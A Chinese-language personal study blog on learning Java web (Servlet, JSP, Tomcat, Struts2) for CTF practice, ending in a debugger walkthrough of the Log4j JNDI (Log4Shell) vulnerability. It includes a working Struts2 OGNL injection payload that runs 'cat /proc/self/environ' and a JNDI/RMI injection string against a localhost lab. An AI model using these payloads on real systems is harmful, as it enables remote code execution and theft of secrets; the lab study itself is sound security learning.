发现一个总体学习路线:Java Web基础 – EastJun’s Blog
发现一个入门网站:https://how2j.cn/?p=50613
了解了javaEE
Java EE,Java 平台企业版(Java Platform Enterprise Edition),之前称为Java 2 Platform, Enterprise Edition (J2EE),2018年3月更名为 Jakarta EE(这个名称应该还没有得到群众认可)。是 Sun 公司为企业级应用推出的标准平台,用来开发B/S架构软件。Java EE 可以说是一个框架,也可以说是一种规范。
JavaEE 是 Java 应用最广泛的部分。
总而言之就是java web框架
一般来讲,初学者应该遵循以下路径
Servlet -> JSP -> Spring -> 组合框架
Servlet 和 JSP 在日后的开发中虽然很少直接应用,但却是各种框架的基础,应该放在开始去了解。这两部分也并不难,相信经过了 JavaSE(javaEE的基础框架) 的洗礼,只需要进行短期的学习,知道它们都是什么,就可以投入实践中了。
ctfshowjava
工具下载:(不过似乎有点问题)
HatBoy/Struts2-Scan: Struts2全漏洞扫描利用工具 (github.com)
工具使用参考:
[ctfshow web入门 (java) | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2021/04/04/ctfshow web入门 (java)/)
wp详解参考:(65条消息) CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现_OceanSec的博客-CSDN博客_编写payload
(65条消息) ctfshow java篇_penson by 小乌的博客-CSDN博客_ctfshow java
payload
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/proc/self/environ"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
然后原本还想用工具扫描利用,结果出了点问题,首先是url里面80端口不能省略,其次是S2-001不支持使用
跑一个javaweb需要jdk(提供服务端语言java和他的环境)+tomcat(之类的web中间件)+idea(之类的ide来编辑,开发网站)
jdk如何下载网上教程极多,这里使用jdk 11.0.8
tomcat安装配置:JavaWeb学习总结(一)——JavaWeb开发入门 - 孤傲苍狼 - 博客园 (cnblogs.com)
配完环境变量以后启动tomcat也可以
startup
idea配置javaweb,参考
如果你和我一样找不到java ee还有web application的话,第一时间检测是否安装了旗舰版(学生免费),不是的话卸载重装;如果是的话,可能你的版本得像我的这样才行
点击next后运行汤姆猫
随后会自动跳转
如果configurations下面打叉,点开后有warning的话,看看是不是遇到了这个问题(67条消息) 【错误解决】Intellj(IDEA) warning no artifacts configured_鼠小的博客-CSDN博客
倘若你是用eclipse的,要搭建Eclipse JSP/Servlet 环境,假定你已安装了 JDK 环境,如未安装,可参阅 Java 开发环境配置 。
我们可以使用 Eclipse 来搭建 JSP 开发环境,首先我们分别下载一下软件包:
之后根据菜鸟Eclipse JSP/Servlet 环境搭建 | 菜鸟教程 (runoob.com)进行配置
接下来便是简单的web知识学习
建议跟着菜鸟来一遍,从这里开始JSP 语法 | 菜鸟教程 (runoob.com)
可以一直看到
看不明白的可以看看miku大神的博客https://miku233.cn/2022/03/24/javaweb/
jsp动作元素那一块的知识,由于菜鸟示例中用的是Eclipse搭建,所以这里可以按照我的来复现:
正常你会发现这有三个一样的东西
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kuwqkRbg-1648355058882)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220325212259676.png)]
这与菜鸟里面的描述是很相似的,大胆推测我们直接在某处写java就可以自动部署上去了
new 一个testbean.class,内容如下
package com.example.demo2;
public class TestBean {
private String message = "菜鸟教程";
public String getMessage() {
return(message);
}
public void setMessage(String message) {
this.message = message;
}
}
后面在index.jsp同级目录下新建main.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
菜鸟教程(runoob.com)
Jsp 使用 JavaBean 实例
输出信息....
之后访问/main.jsp
这个可以看快点,因为后面接触题目接触多了就熟悉了,我们更重要的是去熟悉后端语言
Servlet3.0之前的版本都是在web.xml中配置,而3.0之后使用注解方式来配置。
xxx
user
user
com.sec.servlet.UserServlet
user
/user
给一个demo
package com.example.demo3;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class HelloServlet extends HttpServlet {
private String message;
@Override
public void init() throws ServletException {
message = "Hello world, this message is from servlet!";
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//设置响应内容类型
resp.setContentType("text/html");
//设置逻辑实现
PrintWriter out = resp.getWriter();
out.println("" + message + "
");
}
@Override
public void destroy() {
super.destroy();
}
}
把这个复制黏贴进HelloServlet.java,这样源码就好了
之后是获取依赖和修改设置:
随后亲测用前面方法配置servlet极其复杂,文件目录和网上的博客都有较大的出入,配置servlet注意要看清自己idea的版本,如果新版本的话可以参考这个(81条消息) IDEA新建Servlet项目(适用于IDEA 2020.2及以上版本)_「已注销」的博客-CSDN博客_idea创建servlet项目
但其实和前面的方法配置出来的结果本质都是一样的吧,差异在于下面这个class
如果是前面的方法默认是C:\Users\20281\IdeaProjects\demo3\target\demo3-1.0-SNAPSHOT\WEB-INF\classes
后者则是图中自定义的,其实都可以,接下来导入tomcat依赖等等可以自己去看上面的参考
最后是这个配置web.xml,我的是这样
HelloWorld
com.example.demo3.HelloServlet
HelloWorld
/HelloWorld
简单的说
是规定class文件的位置(就是直接包名+类名),
是规定路由的,项目目录若是如下
就直接/HelloWorld
报错是这个
(81条消息) java.lang.NoClassDefFoundError: javax/servlet/http/HttpServlet_丘山凶二的博客-CSDN博客
tomcat9下载
Apache Tomcat® - Apache Tomcat 9 Software Downloads
改环境变量
下载完安装文件后,将压缩文件解压到一个方便的地方,比如 Windows 下的 C:\apache-tomcat-5.5.29 目录或者 Linux/Unix 下的 /usr/local/apache-tomcat-5.5.29 目录,然后创建 CATALINA_HOME 环境变量指向这些目录。
改完自己startup试试,发现是tomcat9的页面了,关掉以后idea可以重新配置一下configurations之后run了
之后稍微了解一下tomcat
之后可以学习简单的servlet编程
继承HttpServlet 方法 ,然后熟悉一下get post方法
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws
ServletException, IOException {
System.out.println("Http GET");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
System.out.println("Http POST");
}
还有一些表单提交什么的,简单复现一下就行
重点应该放在jndi等等
一种语言,常在web框架如struts2中使用
OGNL详解 - 陪看天涯海角 - 博客园 (cnblogs.com)
直接在pom.xml写会警告
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上
大概是因为找不到ognl包,这个时候需要我们去导入
由于学习ognl是为了学习ognl注入,即structs类漏洞的基础,除此之外,structs自带很多jar包,其中就包含了ognl,所以我们这里顺手搭建structs环境的同时可以导入ognl包
(81条消息) IDEA2020版本搭建struts框架_qq_45486005的博客-CSDN博客_idea2020没有struts2框架
注意看自己版本,倘若是idea2021版本,按照这个(81条消息) IntelliJ IDEA2021.2搭建struts2框架_zhangz1z1的博客-CSDN博客_idea搭建struts2框架
一切以上面的博客链接为主,以下是我搭建的时候遇到的坑点
最后用 struts 2框架 搭建好的 我放在在 strutstest这个工程文件里, struts下完插件会变成如图
之后简单配置
最后到web.xml的时候
这里面有点小问题,会报错:cannot resolve class web.xml
demo
/login.jsp
struts
org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter
struts
*.action
其实是识别错了,把里面所有注释删掉即可
然后运行的时候又报错严重 [RMI TCP Connection(3)-127.0.0.1] org.apache.catalina.core.StandardConte 一个或多个筛选器启动失败
如下图修改,原因是找不到jar包
之后成功
倘若不追求理解只是想复现漏洞利用流程的话,可以直接使用:vulhub(81条消息) S2-001 远程代码执行漏洞复现_humble嘻的博客-CSDN博客
个人觉得这个洞了解了解就行了,其实也没那么深奥不是嘛,给人一种ssti的感觉
payload特征
%{111}
%{‘111’}
其实就是这样:%{}
待补充
demo
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
//int a = 1;
logger.error("miku");
}
}
代码
package main;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
//int a = 1;
logger.error("${java:version}");
}
}
demo
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger();
//int a = 1;
//logger.error("${java:version}");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:rmi://127.0.0.1:12345/hello}");
}
}
其实就是换成
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); logger.error("${jndi:rmi://127.0.0.1:12345/hello}");
这几句
从logger.error
到JndiLookup.lookup
进行调试
结论:在StrSubstitutor.subtute
方法,存在递归,payload进去以后会varname为jndi:rmi://127.0.0.1:12345/hello
,之后在JndiLookup.lookup触发恶意代码执行
之后一直看到append就跟进去,来到这里tryCallAppender
这里的 formatters 方法包含了多个 formatter 对象,其中触发漏洞的是第8个,其中包含 MessagePatternConverter
跟入看到调用了 Converter 相关的方法
不难看出每个 formatter 和 converter 为了构造日志的每一部分,这里在构造真正的日志信息字符串 部分 跟入 MessagePatternConverter.format 方法,看到核心的部分
可以看到这个value的值是 ${jndi:rmi://127.0.0.1:12345/hello}
跟进replace方法
跟入 StrSubstitutor.subtute 方法,存在递归,逻辑较长 主要作用是递归处理日志输入,转为对应的输出
跟入StrSubstitutor.subtute
方法,存在递归,逻辑较长
主要作用是递归处理日志输入,转为对应的输出
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
List priorVariables) {
...
substitute(event, bufName, 0, bufName.length());
...
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
...
int change = substitute(event, buf, startPos, varLen, priorVariables);
}
其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码
logger.error("error_message:" + info);
黑客的恶意输入有可能进入info
变量导致这里变成
logger.error("error_message:${jndi:rmi://127.0.0.1:12345/hello}");
这里的递归处理成功地让jndi:rmi://127.0.0.1:12345/hello
进入resolveVariable
方法
可以看到varname为jndi:rmi://127.0.0.1:12345/hello
经过调试确认了关键方法resolveVariable
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yUF5Qehc-1649064423227)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220324221417501.png)]
进入lookup()
这里的strLookupMap
中包含了多种Lookup
对象
跟入JndiLookup.lookup
跟入JndiLookup.lookup
最后触发点JndiManager.lookup
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lSIdGNfB-1649064423229)(https://raw.githubusercontent.com/Eleina-233/image2/main/image-20220325103003741.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zth5WPGT-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401205923639.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UMsEU6NL-1649064423231)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220401210410869.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XCjobLuP-1649064423232)(C:/Users/20281/AppData/Roaming/Typora/typora-user-images/image-20220404135257576.png)]
从这里进入 lookup() 方法
getURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的 子类rmiURLContext对象,然后在对应协议中去lookup搜索,我们进入lookup函数
此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址,不同协议调用这个函 数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext ctx.lookup()去注册中心调用lookup查找,我们进入此处
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JuL6XnlE-1649064423236)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140220902.png)]
注意到下面的服务端代码,我们在RMI服务端绑定的是一个Reference对象,世界线在这里变动 如果是Reference对象会,进入var.getReference(),与RMI服务器进行一次连接,获取到远程class文 件地址。 如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务。 getObjectInstance()获取reference对象,进入此处
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mpRIMXWx-1649064423238)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140525221.png)]
进入getObjectFactoryFromReference()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K3ssUGWl-1649064423239)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220404140957333.png)]
该函数开始尝试从本地获取该class
如果不在本地classpath,
从cosebase中获取class 此处codebase是我们在恶意RMI服务端中定义的http://127.0.0.1:8081/
然后从我们放置恶意class文件的web服务器中获取class文件
实例化我们的恶意class文件
这里的class就是我们在服务端放置的hello
在调用 getObjectFactoryFromReference() 方法获取 ObjectFactory 类时调用了 helper.loadClass() 方法对远程的 ObjectFactory 类进行加载并实例化:
然后就会去远程的恶意服务器获取字节码进行加载,造成RCE。
整个利用流程如下:
getObjectInstance()
方法中写恶意代码ReferenceWrapper
封装的Reference类,其中指定classFactoryLocation
为远程类的地址,该地址可以是file/http/ftp
协议的RMI Client
调用InitialContext.lookup()
方法时RMI Server
返回一个Reference
类,接着RMI Client
会动态加载并实例化ObjectFactory
类,并调用ObjectFactory
类的getObjectInstance()
方法ObjectFactory
类时,会去远程的恶意服务器获取ObjectFactory
类进行加载并实例化造成RCE但是在JDK 6u132、7u122、8u113之后新增了com.sun.jndi.rmi.object.trustURLCodebase
选项,并且默认值为false,不允许从远程的Codebase
加载Reference
的工厂类。decodeObject()
方法中有对com.sun.jndi.rmi.object.trustURLCodebase
进行判断
建议弄完这个去试一试ctfshow的log4j复现(今年1月份还有环境,现在不知道有没有),或者拉个vulhub下来练一练,使用一下github上面的exp,收悉利用